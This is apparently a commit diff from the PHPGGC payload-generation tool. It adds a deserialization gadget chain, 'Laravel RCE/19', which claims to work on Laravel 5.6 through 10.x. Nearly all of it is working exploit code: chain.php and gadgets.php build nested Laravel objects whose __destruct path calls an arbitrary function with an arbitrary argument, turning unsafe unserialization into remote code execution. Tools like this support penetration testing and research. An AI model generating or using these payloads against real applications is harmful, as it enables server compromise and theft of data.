Laravel: Added RCE/19, which targets Laravel versions 5.6 <= 10.x

gadgetchains/Laravel/RCE/19/chain.php

@@ -0,0 +1,18 @@
+<?php
+
+namespace GadgetChain\Laravel;
+
+class RCE19 extends \PHPGGC\GadgetChain\RCE\FunctionCall
+{
+    public static $version = '5.6 <= 10.x';
+    public static $vector = '__destruct';
+    public static $author = 'coiffeur';
+
+    public function generate(array $parameters)
+    {
+        return new \Illuminate\Routing\PendingResourceRegistration(
+            $parameters['function'],
+            $parameters['parameter']
+        );
+    }
+}

gadgetchains/Laravel/RCE/19/gadgets.php

@@ -0,0 +1,53 @@
+<?php
+
+namespace Illuminate\Auth
+{
+    class RequestGuard
+    {
+        protected $callback;
+        protected $request;
+        protected $provider;
+        public function __construct($callback, $request)
+        {
+            $this->callback = $callback;
+            $this->request = $request;
+            $this->provider = 1;
+        }
+    }
+}
+
+namespace Illuminate\Validation\Rules
+{
+    class RequiredIf
+    {
+        public $condition;
+        public function __construct($func, $arg)
+        {
+            $this->condition = [new \Illuminate\Auth\RequestGuard($func, $arg), "user"];
+        }
+    }
+}
+
+namespace Illuminate\Routing
+{
+    class ResourceRegistrar
+    {
+        protected $router;
+        public function __construct()
+        {
+            $this->router = null;
+        }
+    }
+
+    class PendingResourceRegistration
+    {
+        protected $registrar;
+        protected $name;
+        protected $registered = false;
+        public function __construct($func, $arg)
+        {
+            $this->registrar = new \Illuminate\Routing\ResourceRegistrar();
+            $this->name = new \Illuminate\Validation\Rules\RequiredIf($func, $arg);
+        }
+    }
+}